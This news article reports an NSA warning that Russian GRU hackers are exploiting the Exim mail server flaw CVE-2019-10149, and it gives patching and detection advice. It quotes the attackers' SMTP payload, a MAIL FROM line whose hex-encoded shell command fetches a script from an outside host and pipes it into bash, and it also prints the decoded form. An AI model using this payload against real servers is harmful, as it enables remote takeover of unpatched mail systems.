It's not every day the NSA publicly warns of attacks by Kremlin hackers – so take this critical Exim flaw seriously

GRU crew actively exploit hole – but you patched it months ago, right?

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The NSA has raised the alarm over what it says is Russia's active exploitation of a remote-code execution flaw in Exim for which a patch exists.

The American surveillance super-agency said [PDF] on Thursday the Kremlin's military intelligence hackers are actively targeting some systems vulnerable to CVE-2019-10149, a security hole in the widely used Exim mail transfer agent (MTA) that was fixed last June.

Here's a sample of Moscow's exploit code, according to the NSA, which is sent to a vulnerable server to hijack it – we've censored parts of it to avoid tripping any filters:

MAIL FROM:<${run{\x2Fbin\x2Fsh\t-
c\t\x22exec\x20\x2Fusr\x2Fbin\x2Fwget\x20\x2DO\x20\x2D\x20hxxp\:\x2F\x2F\hostapp.be\x2Fscript1.sh\x20\x7C\x20bash\x22}}@hostapp.be>

That hexadecimal decodes to:
/bin/sh -c "exec /usr/bin/wget -O - hxxp://hostapp.be/script1.sh | bash"

"The Russian actors, part of the General Staff Main Intelligence Directorate’s (GRU) Main Center for Special Technologies (GTsST), have used this exploit to add privileged users, disable network security settings, execute additional scripts for further network exploitation; pretty much any attacker’s dream access – as long as that network is using an unpatched version of Exim MTA," the NSA said.

In this case, miscreants, linked to the military-backed Sandworm operation, exploit improper validation of the recipient's address in Exim's deliver_message() function in /src/deliver.c to inject and execute a shell command, which downloads and runs another script to commandeer the server. An in-depth technical description of the programming blunder can be found here by Qualys, which found and reported the flaw last year.

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Because Exim is widely used on millions of Linux and Unix servers for mail, bugs in the MTA are by nature public-facing and pose an attractive target for hackers of all nations.

The NSA did not say who exactly was being targeted, though we can imagine the Russian military takes an interest in probing foreign government agencies and vital industries. GRU hackers have also previously targeted energy utilities, by some reports.

The Sandworm hacking group has also previously been linked to attacks on a research lab in Britain, and the nation's Foreign Office.

The exploit of CVE-2019-10149 by the Sandworm crew has been on-going since August, the NSA said. Fortunately, there has also been a fix out for this bug for nearly a year – the flaw was introduced in Exim 4.87 and patched back in June of 2019.

Updating Exim to version 4.93 or later will close off the vulnerability. While admins can download the update, using your Linux distro's package manager will be the easiest way to get the fix, if for some reason you don't already have it.

Admins are also advised to keep a close eye on their servers to check for suspicious activity, such as new accounts being added or security settings being changed.

"Routinely verifying no unauthorized system modifications, such as additional accounts and SSH keys, have occurred can help detect a compromise," noted the NSA. "To detect these modifications, administrators can use file integrity monitoring software that alerts an administrator or blocks unauthorized changes on the system.

"If an MTA DMZ was configured in a least access model, for example to deny by default MTA initiated outbound traffic destined for port 80/443 on the internet while only permitting traffic initiated from an MTA to necessary hosts on port 80/443, the actors’ method of using CVE-2019-10149 would have been mitigated." ®

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